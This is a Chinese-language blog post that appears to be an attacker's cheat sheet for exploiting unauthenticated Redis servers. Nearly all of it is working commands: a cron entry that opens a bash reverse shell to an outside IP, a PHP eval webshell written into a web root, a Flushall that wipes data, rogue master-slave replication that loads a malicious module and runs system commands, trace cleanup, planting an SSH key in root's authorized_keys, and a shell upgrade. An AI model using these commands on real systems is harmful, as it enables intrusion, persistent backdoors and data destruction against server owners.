Administrator
发布于 2024-12-06 / 10 阅读
0

Redis unauthorized post exploit

cron

set 4a "\n\n*/1 * * * * bash -i >& /dev/tcp/120.79.51.115/91 0>&1\n"
config set dir /var/spool/cron/

config set dbfilename root

save

webshell

#实际利用中查看当前数据库是否有缓存

dbsize

# 有缓存时切换到其他数据库,redis默认有16个数据库,尽量寻找没有缓存或缓存较少的数据库

select 15

# 若未发现有可利用数据库,根据情况决定是否需要使用此命令清除所有数据库

Flushall

# 开始利用

config set dir C:\phpstudy_pro\WWW

config set dbfilename shell.php

set xxx "<?php eval($_REQUEST[cmd]);?>"   

# \r\n\r\n 代表换行的意思,用redis写入文件的会自带一些版本信息,在写入一些后门文件时自行分辨是否需要添加换行符,个别文件如果不换行可能会导致无法执行

save

主从复制

Redis 存在未授权访问或者暴破密码成功,最终连接Redis数据库成功的情况下,目标机和攻击机网络互通,并且redis版本范围为4.x、5.x,通过主从写入.so或者dll文件,从而使目标机执行so或dll文件中的命令执行函数。

利用过程

docker pull vertigo/redis4

docker run -p 6379:6379 vertigo/redis4

#利用工具

https://github.com/Dliv3/redis-rogue-server

python3 redis-rogue-server.py  --rhost=10.100.6.50(目标IP) --rport=6379 --lhost=10.100.4.189(本机IP)

#退出工具时 ctrl+c 会自动执行清理exp.so模块的命令

#工具中使用的命令

1.config set dir ./

2.config set dbfilename exp.so

3.slaveof X.X.X.115

4.slaveof X.X.X.115 21000  #上面看绑定的服务段端口是21000

5.module load ./exp.so

6.slaveof no one

7.system.exec 'whoami'

#清理痕迹

8.config set dbfilename dump.rdb

9.system.exec 'rm ./exp.so'

10.module unload system

write ssh public key

#攻击机生成ssh密钥

ssh-keygen -t rsa

cat /home/root/.ssh/id_rsa.pub

#生成带有换行符的密钥并传入Redis

(echo -e "\n\n"; cat /Users/sven/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt

cat key.txt | ./redis-cli -h 192.168.0.104 -x set xxx

#设置目录

config set dir /root/.ssh/

#设置文件名

set dbfilename authorized_keys

#保存

save

#连接目标服务器

ssh -i /Users/sven/.ssh/id_rsa root@192.168.0.104

Shell optimization

bash-4.4# python3 -c 'import pty;pty.spawn("/bin/bash")'

bash-4.4# ^Z

[1]+  Stopped                 nc -lv 91

[root@hosts]# stty -a ;stty raw -echo ;fg

bash-4.4# stty rows 49 columns 186

bash-4.4# export TERM=xterm

bash-4.4#